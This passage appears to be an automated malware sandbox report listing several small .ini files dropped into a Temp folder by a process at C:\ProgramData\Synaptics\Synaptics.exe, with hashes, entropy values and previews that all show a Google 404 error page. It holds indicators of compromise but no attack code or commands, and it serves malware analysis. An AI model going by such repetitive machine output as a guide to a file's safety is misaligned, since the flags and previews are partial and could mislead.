Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MLkdmfEk37y4oiCrXTzl5Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\cthQHI6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258586671610579
Encrypted:	false
SSDEEP:	24:GgsF+0cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+L+pAZewRDK4mW
MD5:	170F1B1C8C0C588B2C136EFF70D8C0AC
SHA1:	E9BE43276F4E7AF68536569BF043A232327F844B
SHA-256:	82ECB358B2C0B0E9F74929ABB16228379A9D3B47959E5A3B62AB399406FCD943
SHA-512:	EA1CB89BAA25710FD8C98BBA8C4EF35A16EA6026B8EA6D2F9C66658E7776561D4773C72BE1DCE2A87E9F9571A4AC333B8B9A683D9F856BE407C63E871E8B4313
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ivBLBlcixsQRzLVyToYp6w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\d7mTb56.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265618041381521
Encrypted:	false
SSDEEP:	24:GgsF+0qpSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	4307382B21097CBA0585D0115BFF0BA6
SHA1:	1A4883BA93AD99B7E4C0A9A338F2D28163CF417E
SHA-256:	1A4142A6F81B218695D6E18C26E8F6A338C94D1E07F97E3064A81B1B5A416F22
SHA-512:	0D16C329279D50CDAB660C23E01EE5F7D0FDE50E3C02ECD0C166E982F0423BA53B9E015C0C8A68BE8CD48375339565B506997FAC21CEA024C83215B87EB84971
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1XqaVvSbpsL5YPsHBP24vw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\durgk4h.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261453493537441
Encrypted:	false
SSDEEP:	24:GgsF+0GsSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+ts+pAZewRDK4mW
MD5:	F3C600A43382E891AB1701A2EF339374
SHA1:	12632241DE306B23A3D20AA280C5C726187766AC
SHA-256:	F1E8E979A87C0F91A197B52CEC9D76E542154AB7D300611C3389B9F4BBE9E553
SHA-512:	55271B38EF025769E4376E55F82752D1079FCC30006A0216DAE8C267669BF0F83001EF840E8A470A5E9BDF88F029370D4CA6826630AE51BB859CA436A9653620
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="29G5t1SESGSjP3Ycw0_Yng">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eZE581C.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269071763884714
Encrypted:	false
SSDEEP:	24:GgsF+042SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+x2+pAZewRDK4mW
MD5:	B8AAA5DDC2750A70081430EF4936488B
SHA1:	C3CCD13D12206E9DACAD3445B4B913DC76C7B629
SHA-256:	77CC0A9E199877E1B63B189A7D7BAB466278D8840297DECDE8F6B074B51B1323
SHA-512:	302B63F3C588F699287A71E2517A25FF6B5714772E331ABF554167A687532DDA14122001A790132A3896C83A9AA641A2E8692F20D735AF76C127535ABA859A98
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XGFTmCrfcIkWTH4Tr_AMaQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eng2uZU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270831450761909
Encrypted:	false
SSDEEP:	24:GgsF+0LSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+g+pAZewRDK4mW
MD5:	7F2703F6E2078A64EE35EB76F5C64447
SHA1:	381C982FFFD11CECCD8B20C6D0A8A3A19EAD2327
SHA-256:	A1268C77BC6D9DA6C01FA68818EA7FC7FB8B568F2C973BC17B0C6E2F20D5D8E1
SHA-512:	E1C5A59273B09A0F1295B94856D53E24B827CB86ED70C9F6A84AC9406ED5E2F7B01571EDC37227F7558C6F55196513EA859737756915A8BF9CC0A9D99A18A06B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="t3jCY3xJLOZ6ujFg51QadQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\feeJylY.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269356183902452
Encrypted:	false
SSDEEP:	24:GgsF+0ngK35E3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Ou+pAZewRDK4mW
MD5:	26A48B3793EBB4B1F48E3F0506E9E3C7
SHA1:	11CB11C2F761FB9CF9B8E526AD4BBB21A7C3297E
SHA-256:	37979BB48C20FABA8AF8829F765A5ED6A68D19FB64465B26990DD399DFECA8F7
SHA-512:	3952A4928B2979839863628244868B803D7D39407AA1C1A52B5CCE55C43E353FF7ED03A0C2FD46F5A3CA6E39054F8FE936DA04C9BA867BB6C3B12E15428C3A3B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="53ylZ5FDfdHEXTH4JWRQeg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gMiTYtz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261644619535338
Encrypted:	false
SSDEEP:	24:GgsF+05zyISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+q/+pAZewRDK4mW
MD5:	C0F27DEAD3018EA53667141B274E039D
SHA1:	FA52E355C84382DDE75953F6AEDF7547EE14BD7E
SHA-256:	FE724CAE7770254EC3CDD358E41564FA1E57D9069D5723236B665ADF8D81DD1B
SHA-512:	290AF69B1257258EE7A379AD38EACDCDF0F4475AC4D05166256EFD92D8B7E8033422EF049EC99A4E6E684528BEC11760C06ABEF5774E92092B5180B24AA0B18D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jvaZgwRIDQdqwVs-_syuvA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gbD32hb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.24083743387614
Encrypted:	false
SSDEEP:	24:GgsF+0NJSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+A+pAZewRDK4mW
MD5:	1F6216D3154EF96FB32D7EB0E1956E31
SHA1:	B73EFBBB877076F4FD8ED5AB8D71697CB3F7B043
SHA-256:	3B3F0701544B165500F068EC0EE4B015D3839ADDF8AD5C21433E0D5A2AD51F0C
SHA-512:	EBDC16ABED4954B1D8B9D563E7349BC549E987FBCE184E438D834B2586ABA3B690A093A3082DD0D39FF0CB36FCDC6875C6D86C54E94F0748E3AE73E90CC85505
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="o-Rsau-a1381pSXyxiwzcw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gvAbECU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264804110856456
Encrypted:	false
SSDEEP:	24:GgsF+07SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0+pAZewRDK4mW
MD5:	770466E728B9839BAC18B9617181E66D
SHA1:	4800D67D772F881FAFC4D0BE2B6001F09562A72E
SHA-256:	B3D9147E46CC8C50F30A07A1FB022AF476AEE7B20863E8A60B52852E5A4811B9
SHA-512:	31A5D95392C6C3E004D21F48DEA9F00ADA6A5412085731750B80E88FDA955B8890255D9C8DA9CDDCEF3CA4D34FBDF54A70D617966D3BBAC6BE0AE4F4187A4915
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oos0UbMGmXIYQ59zs_ZWNw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\hEt4Ibx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.247528800369432
Encrypted:	false
SSDEEP:	24:GgsF+0asXxSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bsh+pAZewRDK4mW
MD5:	D79E77B6DBAF6B23550CFE880BE640BB
SHA1:	B9161B907EF42CB3578D42E34AB635DB2ED0D9E3
SHA-256:	81B67A5D3782844C60CC2D71E33C18FA9F0AB5ECF6CBA062E730204BCDA41FF4
SHA-512:	1A954F110794725A8EF1CE3CE647A5D3C351C754F087D88DE96CB221D3752A9B94A82F16D84CFCE580E0BF2411371F4BF62D10CF135BE1EBC6275D67A9633E2D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xmyHklWNv1m3p1v2WpKpgg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\hLS8qaZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25712184252207
Encrypted:	false
SSDEEP:	24:GgsF+0RSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+y+pAZewRDK4mW
MD5:	6833075C18BF52D190C67E1B4905D698
SHA1:	DC973CF19EA139F02A15EEC0382EC48C9FD60218
SHA-256:	737B5F5D7D3E0FF55A463F224BDC57B3FE25DF429F43830133986493F708B7B7
SHA-512:	681198031A71D0169F893D2DE7ACAB9C1B9FEC493E1CA900F3471874948789EB9AA3511224FA2A9296B178098F415E62C1748051FBFCB86BCF2572FB1F8B5C09
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lPxbzFhLIyBf7UllOTuPgg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\htDmXDc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264505573779819
Encrypted:	false
SSDEEP:	24:GgsF+0hQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9+pAZewRDK4mW
MD5:	E631C94FC9B6B00A3CA4A39B7FEC0A60
SHA1:	6599BD4E35949BEF1EA52824CA162413C2655C62
SHA-256:	C6946CEA2837F91D728C3364007DC80901A428EDA7D2F86DB680ABE29D122E2A
SHA-512:	D99A5929FEE3646FBB93E43342B589312F5AC8AF62EAE40748A0DB28561828FEADE0C9A183444885443D5F208F84F5B4407FCD28796F6115D462705EDD3609EA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iFcsNUC3Mrw75KnTE6D6zw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\hv5iyPs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276777172286523
Encrypted:	false
SSDEEP:	24:GgsF+04qSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Vq+pAZewRDK4mW
MD5:	1CD0A48AE9C8518EFCD3DB51D3A48899
SHA1:	984EF9DB54BB54BF3C8F40A16E9E5DA9BB833D68
SHA-256:	F294DEC8A67F0FD0513CE4F888EF87C68B59BF13A221F18D555917DA042AC604
SHA-512:	5A857BC30888EDC89B0F442C4CBA70BD67AA25B2F1B04D9A5C7ACA70241D98B54DEC814ADF5D623880E901C9879C3E5B2A2E6D6B6A1AB86DB436CD33C11C2877
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MWRWY7253KF9-Yt-C8FQWA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iIKCS5B.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.252109323598021
Encrypted:	false
SSDEEP:	24:GgsF+0/SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Q+pAZewRDK4mW
MD5:	07ECB315362C50C1EB76DB19BD75B08B
SHA1:	DC9368E3FA7B6088EC33B4F53ABA2034C9A70A5A
SHA-256:	BCDF90EED3C2E09DBC3D048730BA8F0721F23BE895C1B4BD8B144FE69F8AED01
SHA-512:	F0FF11EE872F5B93383DB5744214CC7EF639A0941CE7526EC62CF6A6F20CCCC0E050BE6672A0BB2E6F032F144EF2EED99E6134877CAB92C0BDF8700F189A01EE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QJ5an9vT-y4cQ2Dw3bpOdg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iNTAbn7.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.249759013713416
Encrypted:	false
SSDEEP:	24:GgsF+0jw3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+sw3+pAZewRDK4mW
MD5:	787AE0D675EB9D3C09CFA563B8BD096C
SHA1:	1A8FFF29743E200E6C0AD04526BEE5BB8FA833FF
SHA-256:	EDC7BD701C1EACC3E7BFEBC8F669E71D6A020B2703CCC81E2053B44B3CFC7DB3
SHA-512:	A40EC13803273C5883A24A80B5338376FABECC9FACEA77E11879E5FAD5B7FCD610F922184CE9E00503E03B73893B79AAA97F6D1C81D8E70110635116B004BDB4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PwowpgNpCyQW5D5eeQue3w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iXXCSU6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2540445396316295
Encrypted:	false
SSDEEP:	24:GgsF+0Bz7mSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++zC+pAZewRDK4mW
MD5:	56527AB6552575C247702BA43F83422E
SHA1:	F263B5EF7EF60EEA7DD25B427264CEBFCB16055B
SHA-256:	308908300A628AE6D894FF56CBFF6DC6C9A7590FCEAEA65FAE8F96A2B024E6D7
SHA-512:	D3C47C789758D421500DFB2C01A8184CEFAA2BE12D785A6FDC6C1F84601E32BE946C4BAF37C3C3D81D83F0E19CE6CEAA250AB8E46A95AD58A8C5852BEDC8D7C5
Malicious:	false
